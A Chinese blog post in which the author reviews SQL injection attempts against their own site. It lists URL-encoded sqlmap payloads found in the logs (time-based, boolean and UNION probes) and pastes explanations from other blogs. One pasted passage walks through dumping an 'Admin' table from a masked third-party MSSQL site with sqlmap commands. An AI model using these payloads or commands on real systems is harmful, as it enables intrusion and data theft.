我發了個博客,泄露了域名之后,便有人瘋狂的嘗試攻擊我的站點,奈何我防守做得比較好,直接把網段封了,看到403還鍥而不舍,我真是想給他頒獎了
查看ua,發現很多sqlmap的ua,肯定會是被刷了,只是運氣比較好,沒突破防守
日志記錄里邊出現這條,經過查閱,是注入攻擊
%29%3BSELECT%20PG_SLEEP%285%29
原文在這里
https://www.jianshu.com/p/267965649779
下一條
%28SELECT%20CHAR%28113%29%2BCHAR%28106%29%2BCHAR%28107%29%2BCHAR%28120%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%288745%3D8745%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2BCHAR%28113%29%2BCHAR%28106%29%2BCHAR%28112%29%2BCHAR%28106%29%2BCHAR%28113%29%29
相關資料在
原文在https://www.cnblogs.com/milantgh/p/4908812.html
發布者

sqlmap注入檢測經驗0x01 某日偶遇一SQLInjection Point,MSSQL 2008,已開啟顯錯模式。 馬上扔進SQLMap跑,一路順暢,竟然還是SA的權限,心想運氣真好,無論如何都拿定了。 數據庫,表,列都列出來了,但是上–dump參數就死活跑不出來。 報錯 “unable to retrieve the number of entries for table ‘Admin’ in database ‘2012_xxxx’”——x是馬賽克哈:) 心想應該很容易搞定,遂查找手工注入方法,測試無果。 還是回到SQLMap,-h查看幫助,發現-v 參數可以指定輸出詳細度,開到-v 3,發現顯示了payload,一不做二不休,直接開到-v 5,發現提供了整個http請求,怪不得報錯,原來都是返回500,用firefox打開完整payload,說是語法錯誤。 Xhttp://www.xxxx.cn/xxx/detail.aspx?id=218%20AND%204416%3DCONVERT%28INT%2C%28SELECT%20CHAR%28113%29%2BCHAR%28115%29%2BCHAR%28119%29%2BCHAR%28100%29%2BCHAR%28113%29%2B%28SELECT%20ISNULL%28CAST%28COUNT%28*%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20%222012_xxxx%22..syscolumns%2C2012_xxxx..sysobjects%20WHERE%202012_xxxx..syscolumns.id%3D2012_xxxx..sysobjects.id%20AND%202012_xxxx..sysobjects.name%3DCHAR%2884%29%2BCHAR%2866%29%2BCHAR%2895%29%2BCHAR%2865%29%2BCHAR%28100%29%2BCHAR%28109%29%2BCHAR%28105%29%2BCHAR%28110%29%29%2BCHAR%28113%29%2BCHAR%28107%29%2BCHAR%28122%29%2BCHAR%28104%29%2BCHAR%28113%29%29%29 顯然是2012的問題,也就是應該是錯把庫名中的數字錯當成參數了 在URL的庫名加上雙引號包裹,果然就可以爆出數據了。 問題又來了,要我手工爆數據我可搞不定,還是要回到SQLMap啊,意思是要想辦法把庫名包裹起來,不讓系統把它解析成一個參數 XTEST1: ./sqlmap.py -u http://www.xxxx.cn/xxxx/detail.aspx?id=218 –dump -D”‘2012_xxxx” -T’Admin’ 這次好一點了,還是報錯unable to retrieve column names for table ‘Admin’ in database ‘”2012_xxxx”‘,意思是有返回了,但是庫名不對。 XTEST12 ./sqlmap.py -u http://www.xxxx.cn/broadband/detail.aspx?id=218 –dump -D”[2012_xxxx]” -T’Admin’ 我也不記得哪來的靈機一動,改用中括號包裹,果然就成功了,dump出整個表了。 XCONCLUSION:在使用SQLMap時可以使用-v參數指定輸出詳細度,然后直接用瀏覽器查看payload,確定語法錯誤點后想辦法改進。在遇到系統誤判庫名表名是可用中括號包裹名字。
下一條
%28SELECT%20%28CHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28107%29%7C%7CCHR%28120%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%282244%3D2244%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28112%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%29
下一條
%27%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%27XsDx%27%3D%27XsDx
原文地址http://www.91ri.org/4732.html

注入的基礎知識就不說的了,只是在這里做個簡單的筆記,以便之后拿起了就用。
看POST數據,注入是發生在username這里。把username的值URL解碼下這樣比較清楚點。
因為延時注入是通過頁面返回的時間來判斷的,所以當我進行猜解的時候也就是用時間來進行猜解,比如我們可以取出db_name的第一個字符,先轉換 成ASCII在和數字進行比較(推薦使用<、>),在比較時我們可以用折半法,比如我們先猜解第一個字符是大寫字母還是小寫字母,就可以用 91來做個標准小於91的為大寫字母(A-F,或許是_ 、-),大於則反。
下面兩個語句為例子:
建議用時但編碼狀態出問題時,可以試試未編碼狀態。
下一條
%20UNION%20ALL%20SELECT%20NULL%2CNULL
這個查詢結果就很多了,不再把文章拿過來